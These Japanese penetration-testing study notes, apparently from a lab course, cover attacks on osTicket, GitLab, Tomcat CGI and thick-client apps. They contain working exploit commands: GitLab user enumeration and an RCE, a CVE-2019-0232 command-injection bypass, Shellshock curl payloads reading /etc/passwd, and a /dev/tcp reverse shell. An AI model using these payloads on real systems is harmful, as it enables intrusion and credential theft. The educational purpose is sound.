- チケットが新規作成されると、osTicket のようなツールは一時的な内部メールアドレス(例:
940288@inlanefreight.local
)を発行し、対応通知などがそのアドレスに届く
攻撃の流れ
1. 対象企業のサポートポータルを見つける
2. チケットを新規作成する(問い合わせ内容は適当でもよい)
3. チケット作成後、内部メールアドレス(例:940288@inlanefreight.local)が発行される
4. そのメールアドレスを使って、外部サービス(GitLabやSlackなど)でアカウント作成を試みる
5. サインアップ時に送られる確認メールがサポートポータル上に表示される
6. そのメール内の確認リンクをクリックすることでアカウントが有効化され、内部情報へのアクセスなどが可能になる可能性がある
機密データの漏洩
- 外部ペネトレーションテスト中に、OSINT(オープンソース情報収集)と情報収集ツール「Dehashed」を使って、企業のユーザー認証情報(実在するかのような形式)を発見したと仮定する
- メール:
julie.clayton@inlanefreight.local
/ パスワード:JulieC8765!
- メール:
kevin@inlanefreight.local
/ パスワード:Fish1ng_s3ason!
攻撃手順
1. osTicket へのログインを試す
jclaytonではログインできなかったが、kevin@inlanefreight.localでログイン成功。
→ ユーザーは「サポート担当者」と思われる。
2. チケットの中身を確認する
サポート担当者が、VPNロックアウトされた社員に「標準の新入社員用パスワード」をポータル経由で送信していた。
→ このパスワードは、他の新入社員にも使われているかもしれない!
3. VPNログイン試行の可能性
パスワードが変更されていない場合、そのままVPNに使えるかも。
リスクと悪用例
• 標準パスワードの再利用
多くの企業では新入社員やパスワードリセット時に「共通のパスワード」を使う。
• パスワードポリシーが緩い企業では:
• ユーザーは初回ログイン時にパスワード変更を強制されない
• 結果として、そのままVPNやメールにログインできてしまう
• 他のユーザーにも攻撃可能
LinkedIn等から社員リストを作ってユーザー名を生成し、「パスワードスプレー攻撃」を仕掛けることが可能。
• アドレス帳の悪用
osTicketにはアドレス帳機能もあり、そこからユーザー名やメールを抜き出して攻撃に活用できる。
GitLab
発見と列挙
- GitLabは、WebベースのGitリポジトリホスティングツールで、Wiki機能、課題管理(Issue tracking)、継続的インテグレーション(CI)および継続的デリバリー(CD)のパイプライン機能を提供する
- オープンソースであり、当初はRubyで書かれていましたが、現在の技術スタックにはGo、Ruby on Rails、Vue.jsが含まれている
- 内部または外部のペネトレーションテスト中、企業のGitHub、GitLab、BitBucketなどのリポジトリに遭遇することは珍しくない
- APIと連携するためのスクリプトなど、公開用コードが含まれている場合もありますが、誤ってコミットされた平文のパスワードや秘密鍵、設定ファイルなど、機密情報が含まれていることもある
GitLabでは以下3種類のリポジトリが存在する
-
公開リポジトリ:誰でも閲覧可能(認証不要)
-
内部リポジトリ:認証ユーザーのみ閲覧可能
-
非公開リポジトリ:特定ユーザーのみアクセス可能
-
アプリケーションがユーザー登録を許可している場合、アカウントを作成して内部リポジトリの列挙を試みる価値がある
-
多くの企業では会社のメールアドレスでのみ登録を許可し、管理者による承認が必要ですが、GitLabの設定次第では、誰でも登録・ログイン可能にしている場合もある
-
認証情報があればログイン可能
- GitLabでは初期状態では二要素認証が無効なので、それも攻撃側にとっては有利な点
フットプリントと発見
- GitLabが使用されているかどうかは、URLにアクセスしてログインページにGitLabのロゴが表示されれば即座に判明する
http://gitlab.inlanefreight.local:8081/users/sign_in
- GitLabのバージョン情報
- ログイン後、/help ページにアクセスすることで確認できる
http://gitlab.inlanefreight.local:8081/help
- 登録が可能な場合は自分でアカウントを作成し、ログインして調査が可能
ログインできない場合 - ページ上の日付や最初の公開コミットなどから推測する必要がある
過去の重大な脆弱性の例
- GitLab 12.9.0
- GitLab 11.4.7
- GitLab Community Edition 13.10.3、13.9.3、13.10.2
列挙(Enumeration)
-
GitLabに対してログインせずに、またはバージョン番号が不明な状態ではできることは限られている
-
まず最初に試すべきは、
/explore
にアクセスして、公開プロジェクトが存在するか確認すること -
公開プロジェクトは企業インフラの情報源として非常に有用
-
以下のような情報が含まれている可能性がある
• システム構成やネットワークに関する情報
• 本番環境のコード(コードレビューでバグを発見できるかも)
• ハードコーディングされた認証情報(ユーザー名、パスワード)
• 設定ファイルやスクリプト内に含まれる秘密情報(例:SSH秘密鍵、APIキー) -
中身を掘り下げて確認する価値はある
- 画面左上の「Groups」「Snippets」「Help」などのページを辿ってみるのも有効
- 検索機能を使って他のプロジェクトがないか調べてみる
アカウント登録の試行
- 公開情報の調査が一段落したら、アカウントを登録できるか試してみる
- GitLabの設定によっては、会社のメールアドレスでなくても登録が許可されている場合がある
- また、管理者による承認が不要なケースもあり、その場合は追加のプロジェクトにアクセスできる可能性がある
有効ユーザーの列挙(ユーザ名・メールアドレス)
- この登録フォームを利用して、有効なユーザー名やメールアドレスを列挙することもできる
- 例えば「root」というユーザー名で登録を試みると、「すでに使われている」とエラーになる → 存在確認
- 既存のメールアドレスで登録を試みると「すでに使われている」と表示される → メールアドレスの存在確認
- このユーザー名・メール列挙テクニックは、記事執筆時点では最新バージョンのGitLabでも有効
- たとえ Sign-up 機能が無効になっていても、
/users/sign_up
ページは表示でき、列挙だけは可能
攻撃
- GitLabインスタンスに未認証でアクセスできるだけでも、機密データが漏洩する可能性がある
- もし企業ユーザーや管理者としてログインできた場合は、組織を完全に侵害できるほどの情報が得られる可能性がある
- GitLabには2021年9月時点で553件のCVE(脆弱性情報)が報告されている
- RCEにつながる深刻なものもいくつかある
ユーザー名の列挙
-
ユーザー名が列挙されることをGitLab側では脆弱性としていない
-
しかし、弱いパスワードが設定されている場合には有効な攻撃手法
-
以下のツールも使える
-
GitLabのデフォルト設定では、10回ログインに失敗するとアカウントはロックされ、10分後に自動解除される
-
この設定はソースからビルドしないと変更できない
-
UIからはロック設定を変更できない
- パスワード最小長などは管理画面から変更可能
-
スクリプトを使ってGitLabに対して実行したところ、有効なユーザー名として root(管理者)と bob が存在することが判明した
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
[+] The username root exists!
[+] The username bob exists!
- これらに対して弱いパスワード(例:Welcome1 や Password123)でパスワードスプレー攻撃を行ったり、過去の情報漏えいから入手したパスワードの再利用を試みることができる
認証後のRCE
- GitLab Community Edition 13.10.2以前には、画像ファイルに埋め込まれたメタデータを処理する際に使われるExifToolに関する問題によりRCEが可能な脆弱性が存在していた
- 古いバージョンを使用している企業も存在する可能性があります。以下のExploitを使えば、RCEが可能
python gitlab_userenum.py --url http://gitlab.inlanefreight.local:8081/ --wordlist /opt/useful/seclists/Usernames/Names/names.txt
[1] Authenticating
Successfully Authenticated
[2] Creating Payload
[3] Creating Snippet and Uploading
[+] RCE Triggered !!
snowyowl644@htb[/htb]$ nc -lnvp 8443
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.88] 60054
git@app04:~/gitlab-workhorse$ id
uid=996(git) gid=997(git) groups=997(git)
git@app04:~/gitlab-workhorse$ ls
VERSION
config.toml
flag_gitlab.txt
sockets
Tomcat CGI
CGI Servlet
CGI : Common Gateway Interface
- CGI Servlet は Apache2 のような Web サーバー上で動作するプログラムであり、CGI 仕様に準拠した外部アプリケーションの実行をサポート
- Apache Tomcat における重要なコンポーネントであり、Tomcat JVM の外部で実行されるアプリケーションと Web サーバーとの通信を可能
- 外部アプリケーションは通常、Perl、Python、Bash などで書かれた CGI スクリプト
- CGI Servlet は、Web ブラウザからのリクエストを受け取り、それを CGI スクリプトに渡して処理
- Web サーバーとデータベースなどの外部情報資源との間のミドルウェアのような存在
CGI スクリプトの利点と欠点
利点 | 欠点 |
---|---|
動的な Web コンテンツの生成が簡単で効果的。 | 各リクエストごとにプログラムをメモリにロードするためオーバーヘッドが発生。 |
標準入力を読み込み、標準出力に書き込める任意の言語を使用可能。 | ページ間のリクエストでメモリにデータをキャッシュするのが難しい。 |
既存のコードを再利用でき、新たなコードの記述を避けられる。 | サーバーのパフォーマンスを低下させ、多くの処理時間を消費する。 |
enableCmdLineArguments の役割
- Apache Tomcat の
CGI Servlet
におけるenableCmdLineArguments
設定は、クエリ文字列からコマンドライン引数を生成するかどうかを制御する - この設定が true の場合、CGI Servlet はクエリ文字列を解析し、それを CGI スクリプトへ引数として渡す
- この機能により、環境変数や標準入力を使用せずにスクリプトへパラメータを渡せるため、CGI スクリプトの記述が柔軟かつ簡単になる
CGIの例
書店のカタログから本を検索する CGI スクリプトがあるとする
- 「タイトルによる検索」と「著者による検索」の2つのアクションをサポートしている
- タイトルによる検索の URL
http://example.com/cgi-bin/booksearch.cgi?action=title&query=the+great+gatsby
- action パラメータ : title に設定されており、スクリプトはタイトルで検索を行った
- query パラメータ : 検索語句「the great gatsby」を指定している
- 著者による検索の URL
http://example.com/cgi-bin/booksearch.cgi?action=author&query=fitzgerald
- action パラメータ : author になっており、著者名による検索を行う
- queryパラメータ : 「fitzgerald」が指定されている
- コマンドライン引数を使用することで、スクリプトはユーザー入力に応じて異なる検索アクションを柔軟に切り替えることができる
脆弱性の問題点
- CVE-2019-0232 は、リモートコード実行につながる可能性のある重大なセキュリティ問題
enableCmdLineArguments
が Windows システムで有効になっている場合、CGI Servlet は Web ブラウザからの入力をスクリプトに渡す前に正しく検証しない- このため、OS コマンドインジェクション攻撃が可能となる
- 攻撃者は、Tomcat の CGI Servlet における入力検証エラーに起因するコマンドインジェクションの脆弱性を悪用する
- 攻撃者は、別のコマンドに & を使って自分のコマンド(たとえば dir)を付け加えることで、Windows 上で任意のコマンドを実行できる
Tomcatが脆弱性あるバージョンに影響する
- 9.0.0.M1 から 9.0.17
- 8.5.0 から 8.5.39
- 7.0.0 から 7.0.93
悪用例
攻撃者が次のような URL を使用した場合
http://example.com/cgi-bin/hello.bat?&dir
-
リクエストでは、&dir が hello.bat に引数として渡され、サーバー上で dir コマンドが実行される
-
CGI Servlet の入力検証エラーを悪用することで、攻撃者はサーバー上で任意のコマンドを実行できる
-
Common Gateway Interface(CGI) は、Webサーバーが動的なページを生成し、Webアプリケーションを通じてリクエストしてきたユーザーに対してカスタマイズされた応答を返すために使用される
-
CGI は本質的には、Webサーバーと外部のデータベースや情報ソースとの間に位置する ミドルウェア
-
CGIスクリプトやプログラムは、Webサーバー上の
/cgi-bin
ディレクトリに保存されており、C、C++、Java、PERL などで記述することができる -
これらのスクリプトは Webサーバーのセキュリティコンテキスト で実行され、ゲストブック、メール・フィードバック・登録フォーム、メーリングリスト、ブログなどで頻繁につかわれている
CGIスクリプト/アプリケーションが使用される主な理由
- Webサーバーがユーザーと動的にやり取りする必要がある場合
- ユーザーがフォームを通じてデータをWebサーバーに送信する場合
- CGIアプリケーションがデータを処理し、結果をWebサーバー経由でユーザーに返す
CGIの流れ
- CGIスクリプト/アプリケーションを格納するためのディレクトリがWebサーバー上に作成される(通常 /cgi-bin と呼ばれる)
- Webアプリケーションのユーザーが、たとえば
https://acme.com/cgi-bin/newchiscript.pl
のようなURLを通じてサーバーにリクエストを送信 - サーバーはスクリプトを実行し、出力結果をWebクライアントに返す
CGIの欠点
- 各HTTPリクエストごとに 新しいプロセスが起動 されるため、サーバーのメモリを多く消費する
- 毎回 新しいデータベース接続 が確立される
- ページ間で データをキャッシュできない ため、効率が低下する
- これらのリスクや非効率性は利点を上回るため、CGIは時代に取り残され、モダンなWebアプリケーションとの互換性に欠ける ようになる
- 現在では、より高速かつ安全な技術に取って代わられている
- しかし、ペネトレーションテストの現場では、レガシーなWebアプリケーションや、組み込みデバイスの調査時などに、依然としてCGIが使われている場面に出くわすことがある
発見/フットプリンティング
- nmapやApache Tomcat/9.0.17 が動作していることが確認できる
nmap -p- -sC -Pn 10.129.204.227 --open
CGIスクリプトの発見
- Webサーバー上のコンテンツを見つけ出す方法の1つとして、ffuf というWeb列挙ツールと dirb の common.txt ワードリストを使用する手法がある
- 既知の情報や脆弱性に関する調査から、CGIスクリプトのデフォルトディレクトリが /cgi であると分かっている場合、以下のURLでファジングを実行できる
http://10.129.204.227:8080/cgi/FUZZ.cmd
http://10.129.204.227:8080/cgi/FUZZ.bat
拡張子 .CMD でのファジング
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.cmd
拡張子 .BAT でのファジング
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
発見されたURLへのアクセス
- 発見された URL
http://10.129.204.227:8080/cgi/welcome.bat
にアクセスすると、次のメッセージが表示される
Welcome to CGI, this section is not functional yet. Please return to home page.
-
リストからわかるように、環境変数 PATH が未設定(unset) であるため、リクエスト内で実行ファイルの絶対パスをハードコードする必要がある
-
Apache Tomcat によって導入されたパッチによるもので、特殊文字の使用を防ぐための正規表現フィルターが働いているので、
-
http://10.129.204.227:8080/cgi/welcome.bat?&c:\windows\system32\whoami.exe
- このコマンドだと、Tomcat は「無効な文字が検出された」というエラーメッセージを返す
-
http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe
- URLエンコードによって回避可能
列挙
cgiのディレクトリを列挙する
gobuster dir -u http://10.129.205.27/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/cgi-bin/ (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 10918]
/server-status (Status: 403) [Size: 278]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
- CGIのディレクトリ内のファイルを列挙する
- Gobuster というツールを使って CGI スクリプトを探索することができる
- access.cgi というスクリプトを発見できた
gobuster dir -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.204.231/cgi-bin/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: cgi
[+] Timeout: 10s
===============================================================
2023/03/23 09:26:04 Starting gobuster in directory enumeration mode
===============================================================
/access.cgi (Status: 200) [Size: 0]
===============================================================
2023/03/23 09:26:29 Finished
スクリプトの挙動を確認
次に、curl を使ってスクリプトへアクセスしてみる
- 何も出力されないので、機能していない可能性もあるけど、さらに調査する
curl -i http://10.129.204.231/cgi-bin/access.cgi
HTTP/1.1 200 OK
Date: Thu, 23 Mar 2023 13:28:55 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html
攻撃
CGI経由でのShellshock攻撃
-
最も有名なCGI関連の攻撃の一つが、Shellshock(別名「Bashバグ」) 脆弱性を利用したもの
- Shellshock(CVE-2014-6271) は2014年に発見され、比較的簡単に悪用可能で、いまだに実地のペネトレーションテストで見つかることもある脆弱性
- これは、GNU Bash(バージョン4.3以前)におけるセキュリティ上の欠陥で、環境変数を利用して意図しないコマンドを実行できるというもの
-
古いバージョンのBashが関数を含む環境変数を不正に処理するという挙動を悪用できる
- 環境変数に関数を保存すると、その関数はそこで終了するはずですが、脆弱なBashバージョンでは、関数定義の後ろに続けて書かれたOSコマンドを実行してしまう
-
Bashは
y='() { :;};'
を変数 y の関数定義と解釈- 本来、関数は何もしませんが、もしシステムが脆弱であれば、その後に続く
echo vulnerable-shellshock
が実行される - また、コマンドも基本、webサーバーユーザーの権限だけど、管理者権限でwebサーバーが動いてる時はroot権限で実行することができたりする
- 本来、関数は何もしませんが、もしシステムが脆弱であれば、その後に続く
$ env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
not vulnerable
脆弱性の確認
- この脆弱性を確認するために、curl コマンドや Burp Suite の Repeater/Intruder を使って、User-Agent ヘッダをファズすることができる
- 以下の例では、/etc/passwd の内容が出力されており、User-Agent ヘッダを通じて Shellshock の脆弱性が存在することを確認できる
- 脆弱性が確認できたら、リバースシェルで侵入することも可能
Linux
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.204.231/cgi-bin/access.cgi
Windows
curl -H "User-Agent: & type C:\Windows\System32\drivers\etc\hosts &" http://10.129.52.211/cgi/cmd.bat
リバースシェルによる侵入
- この例では、bash のワンライナーでリバースシェルを確立し、Netcat リスナーで受信する
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi
ローカルで待ち受ける
sudo nc -lvnp 7777
- 機密データの探索や権限昇格の試み、あるいはこのホストを利用した内部ネットワークへのピボットなどを行うことができる
厚いクライアントApp
- 厚型クライアントアプリケーション : Thick Client Applications
- 私たちのコンピュータにローカルでインストールされるタイプのアプリケーション
- Webブラウザ経由でリモートサーバー上で動作する薄型クライアント(Thin Client)アプリケーションとは異なる
- インターネット接続がなくても動作する
- 処理能力、メモリ、ストレージ容量の面でも、パフォーマンスが優れている
- 特定の目的を達成するために設計された、エンタープライズ環境で使用されるアプリケーションが主体
- 例
- プロジェクト管理システム
- 顧客関係管理(CRM)システム
- 在庫管理ツール
- その他の業務用ソフトウェアなどが該当
- 例
アーキテクチャの分類
- 厚型クライアントアプリケーションは、2層アーキテクチャ(two-tier)と3層アーキテクチャ(three-tier)に分類される
- 2層/3層
- 2層
- アプリケーションはPCにローカルインストールされ、直接データベースと通信します。
- 3層
- 同様にアプリケーションはローカルにインストールされますが、データベースとやり取りする前に、まずアプリケーションサーバー(通常はHTTP/HTTPS経由)と通信する
- アプリケーションサーバーとデータベースは同一ネットワーク内、またはインターネット越しに配置されていることがある
- セキュリティ面で優れており、攻撃者が直接データベースと通信できなくなるという利点がある
- 2層
セキュリティリスク
- 多くの厚型クライアントアプリケーションはインターネットからダウンロードされる
- ユーザーが公式アプリを確実に入手する手段がないため、セキュリティ上の懸念が生まれる
- XSSやCSRF、クリックジャッキングのようなWeb特有の脆弱性は、厚型クライアントには当てはまらない
- 成立する攻撃例
- 不適切なエラーハンドリング
- ハードコードされた機密データ
- DLLハイジャック
- バッファオーバーフロー
- SQLインジェクション
- 安全でないデータ保存
- セッション管理の不備
薄型クライアント
- 厚型クライアントの反対
- 薄型クライアントは通常、サーバー側での処理やデータ保存に強く依存する
攻撃
- 厚型クライアントアプリケーションは、他の種類のアプリケーションと比べてより複雑
- 攻撃対象領域(アタックサーフェス)も広いとされている
列挙と情報収集
Appのアーキテクチャ、プログラミング言語やフレームワークを特定
- クライアント側およびサーバー側で使用されている技術を識別し、入力ポイントやユーザー入力を探し出す必要がある
- このステップで役立つツールは以下の通り
- CFF Explorer
- Detect It Easy (DIE)
- Process Monitor
- Strings
クライアントサイド攻撃
- クライアント側で多くの処理とデータ保存を行う
- それでもデータの同期や共有リソースへのアクセスといった目的でサーバーとの通信を行う
- 厚型クライアントはWebアプリケーションと同様の脆弱性(コマンドインジェクション、アクセス制御の弱さ、SQLインジェクションなど)にさらされる可能性がある
静的解析(Static Analysis)
- ハードコードされた認証情報やその他の機密情報がアプリケーションのソースコード内に含まれていることもある
- ユーザー名やパスワード、トークン、外部サービスとの通信に使う文字列といった機密情報
- アプリケーションのローカルファイルに保存されている可能性がある
動的解析(Dynamic Analysis)も並行して行うべき
-
これは、アプリケーションがメモリ上に機密情報を保存するため
-
代表的なツール
- Ghidra
- IDA
- OllyDbg
- Radare2
- dnSpy
- x64dbg
- JADX
- Frida
ネットワークサイド攻撃
- アプリケーションがローカルまたはリモートのサーバーと通信している場合、ネットワークトラフィックの分析を行う
- HTTP/HTTPS や TCP/UDP 経由で送信される機密情報をキャプチャしたり、アプリケーションの動作の理解を深めたりできる
使えるツール - Wireshark
- tcpdump
- TCPView
- Burp Suite
サーバーサイド攻撃
- 厚型クライアントに対するサーバーサイド攻撃は、Webアプリケーションに対する攻撃と非常によく似ている
- テスターは特に、OWASP Top Tenに含まれるようなよくある脆弱性に注意を払うべき
ハードコードされた認証情報の取得
- SMBのNETLOGON共有フォルダを調査した結果、RestartOracle-Service.exe という実行ファイルを含む複数のファイルを発見
- SysInternals の ProcMon64 を使用してこのプロセスをモニタリングすると、
C:\Users\Matt\AppData\Local\Temp
に一時ファイルを作成していることが判明
一時ファイルを捕捉するために、Tempフォルダの削除権限を変更する
- Tempフォルダの内容が削除されないようにするために、フォルダのセキュリティ設定を変更する
- フォルダ
C:\Users\Matt\AppData\Local\Temp
を右クリック - 「プロパティ」 → 「セキュリティ」 → 「詳細設定」 を開く
- cybervaca ユーザーを選択
- 継承の無効化 → 継承されたアクセス許可をこのオブジェクト上の明示的なアクセス許可に変換
- 「編集」 → 「詳細なアクセス許可の表示」
- Delete subfolders and files と Delete のチェックを外す
- 最終的に、「OK」 → 「適用」 → 「OK」 → 「OK」とウィンドウを順番にクリックして、設定を完了
- フォルダのアクセス許可が適用されたら、再び Restart-OracleService.exe を実行し、Temp フォルダの中身を確認する
- このとき、
C:\Users\cybervaca\AppData\Local\Temp\2
フォルダ内に6F39.bat
というファイルが作成されているのが確認できる- ファイル名はランダムで、サービスを起動するたびに変わる
C:\Apps>dir C:\Users\cybervaca\AppData\Local\Temp\2
...SNIP...
04/03/2023 02:09 PM 1,730,212 6F39.bat
04/03/2023 02:09 PM 0 6F39.tmp
6F39.batの中身
- 2つのファイル(oracle.txt と monta.ps1)が一時的に作成され、最後には削除される仕組みであることがわかる
- これらのファイルを抽出・解析するために、スクリプトを修正して削除処理を削除する
@shift /0
@echo off
if %username% == matt goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error
:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
<SNIP>
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe
- この .bat ファイルをダブルクリックで実行oracle.txt(Base64でエンコードされた実行ファイルの内容)と monta.ps1(復号スクリプト)が C:\ProgramData に現れた
monta.ps1の中身
- oracle.txt からBase64文字列を読み取り、それをバイナリにデコードして restart-service.exe を生成する
C:\> cat C:\programdata\monta.ps1
$salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida))
実行後のファイル構成
:\> ls C:\programdata\
Mode LastWriteTime Length Name
<SNIP>
-a---- 3/24/2023 1:01 PM 273 monta.ps1
-a---- 3/24/2023 1:01 PM 601066 oracle.txt
-a---- 3/24/2023 1:17 PM 432273 restart-service.exe
restart-service.exe を実行すると、以下のようなバナーが表示される
C:\> .\restart-service.exe
____ __ __ ____ __
/ __ \___ _____/ /_____ ______/ /_ / __ \_________ ______/ /__
/ /_/ / _ \/ ___/ __/ __ `/ ___/ __/ / / / / ___/ __ `/ ___/ / _ \
/ _, _/ __(__ ) /_/ /_/ / / / /_ / /_/ / / / /_/ / /__/ / __/
/_/ |_|\___/____/\__/\__,_/_/ \__/ \____/_/ \__,_/\___/_/\___/
by @HelpDesk 2010
PS C:\ProgramData>
ProcMon64 を使って restart-service.exe の実行を監視すると、レジストリのさまざまなキーを参照していることがわかる
x64dbgによる逆アセンブル開始
- x64dbg を起動し、メニューから Options → Preferences に移動して、Exit Breakpoint 以外のすべてのオプションのチェックを外す
- デバッガはアプリケーションの終了地点(Exit Point)から起動し、開始前に読み込まれる不要なDLLファイルの処理をスキップできる
- その後、File → Open を選択し、restart-service.exe を読み込んでデバッグを開始する
メモリマップの確認
- 読み込みが完了したら、**CPUビュー内で右クリック →「Follow in Memory Map(メモリマップで追跡)」**を選ぶ
- ここで表示されるマップの中で、サイズが 0000000000003000、種別が MAP、保護属性が -RW-- に設定されている領域に注目する
- メモリマップされたファイル(Memory-mapped files)とは?
- アプリケーションが巨大なファイルを操作する際、全体を一度にメモリへ読み込むのではなく、ファイルの一部を仮想メモリ上にマップし、通常のバッファのように読み書きできる仕組み
- この領域には、ハードコードされた認証情報などが存在する可能性がある
MZシグネチャの発見とメモリダンプ
- このマップをダブルクリックすると、ASCII列にMZ という「マジックバイト」が見えるはず
- DOS MZ 実行ファイルの開始を示している
- メモリマップに戻り、対象のアドレスを右クリック → Dump Memory to File(メモリをファイルへダンプ) を選択してダンプを作成する
ダンプファイルの解析
- 次に、ダンプしたファイルに対して strings コマンドを実行して、含まれる文字列を抽出する
- 出力内容の一部には、以下のような興味深い情報が含まれている
- つまり、このダンプには.NET実行ファイルが含まれていることが判明した
C:\> C:\TOOLS\Strings\strings64.exe .\restart-service_00000000001E0000.bin
<SNIP>
"#M
z\V
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName
.NET Framework 4 Client Profile
<SNIP>
de4dotで.NETの難読化解除
- .NET実行ファイルの難読化を解除するために de4dot を使用する
- ダンプファイル(例:restart-service_00000000001E0000.bin)を de4dot 実行ファイルにドラッグ&ドロップすることで、処理が始まる
- 処理が完了すると、難読化が解除されたバイナリが保存され
de4dot v3.1.41592.3405
Detected Unknown Obfuscator (C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin)
Cleaning C:\Users\cybervaca\Desktop\restart-service_00000000001E0000.bin
Renaming all obfuscated symbols
Saving C:\Users\cybervaca\Desktop\restart-service_00000000001E0000-cleaned.bin
Press any key to exit...
dnSpyでソースコードを閲覧
- 次に、生成された .bin ファイルを dnSpy にドラッグ&ドロップすると、.NETアセンブリをソースコードレベルで表示することができる
解析結果
- 表示されたソースコードから、このバイナリ(restart-service.exe)がカスタムの runas.exe のようなツール
- Oracleサービスを再起動するためにハードコードされた認証情報を使用するように設計されていることが分かる
厚いwebクライアントAPP
そもそも「厚いクライアント(Thick Client)」とは?
- データの処理やロジックの一部をローカル(ユーザーのPC側)で行うアプリケーション
- 例:Java製のデスクトップアプリ(.jarファイルなど)
- 通常はサーバーと通信してデータを取得・送信する
調査の流れ(今回の例)
- FTPサーバーからアプリケーションと情報ファイルを取得
fatty-client.jar
(Javaアプリ本体)note*.txt
で接続先ポートやログイン情報を確認(qtc / clarabibi)
- アプリが接続失敗 → ポートが変更された可能性を疑う
- 旧ポート: 8000、新ポート: 1337
- Wiresharkでトラフィックをキャプチャして接続先を特定
server.fatty.htb
にアクセスしているhosts
ファイルを編集して名前解決できるようにする
C:\> echo 10.10.10.174 server.fatty.htb >> C:\Windows\System32\drivers\etc\hosts
JARファイルの解析と改ざん
.jar
ファイルはZip形式 → 解凍して中身を確認できるbeans.xml
にサーバー情報(ホスト名・ポート)が記述されている8000
を1337
に書き換える
secretHolder
のプロパティから「秘密の値」も発見- 値:
clarabibiclarabibiclarabibi
- 値:
C:\> ls fatty-client\
<SNIP>
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/30/2019 12:10 PM htb
d----- 10/30/2019 12:10 PM META-INF
d----- 4/26/2017 12:09 AM org
------ 10/30/2019 12:10 PM 1550 beans.xml
------ 10/30/2019 12:10 PM 2230 exit.png
------ 10/30/2019 12:10 PM 4317 fatty.p12
------ 10/30/2019 12:10 PM 831 log4j.properties
------ 4/26/2017 12:08 AM 299 module-info.class
------ 10/30/2019 12:10 PM 41645 spring-beans-3.0.xsd
C:\> ls fatty-client\ -recurse | Select-String "8000" | Select Path, LineNumber | Format-List
Path : C:\Users\cybervaca\Desktop\fatty-client\beans.xml
LineNumber : 13
C:\> cat fatty-client\beans.xml
<SNIP>
<!-- Here we have an constructor based injection, where Spring injects required arguments inside the
constructor function. -->
<bean id="connectionContext" class = "htb.fatty.shared.connection.ConnectionContext">
<constructor-arg index="0" value = "server.fatty.htb"/>
<constructor-arg index="1" value = "8000"/>
</bean>
<!-- The next to beans use setter injection. For this kind of injection one needs to define an default
constructor for the object (no arguments) and one needs to define setter methods for the properties. -->
<bean id="trustedFatty" class = "htb.fatty.shared.connection.TrustedFatty">
<property name = "keystorePath" value = "fatty.p12"/>
</bean>
<bean id="secretHolder" class = "htb.fatty.shared.connection.SecretHolder">
<property name = "secret" value = "clarabibiclarabibiclarabibi"/>
</bean>
<SNIP>
改ざん時の注意点
- JARは署名されており、ファイルの整合性をSHA-256で検証している
META-INF/MANIFEST.MF
にハッシュが記録されている
- 改ざんしたら以下を削除・修正する必要あり
- MANIFEST.MF からハッシュ情報を削除
1.SF
と1.RSA
を削除
C:\> cat fatty-client\META-INF\MANIFEST.MF
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_232
Main-Class: htb.fatty.client.run.Starter
Name: META-INF/maven/org.slf4j/slf4j-log4j12/pom.properties
SHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z/hdj03XNhHx3C/pZbEp4Cw=
Name: org/springframework/jmx/export/metadata/ManagedOperationParamete
r.class
SHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf/FD9h2AMOntcgw=
<SNIP>
修正済みJARの再作成と実行
- 新しいJARを以下のコマンドで作成
C:\> cd .\fatty-client
C:\> jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *
- 作成したJARを起動 → ログイン成功!
初心者にとっての学びポイント
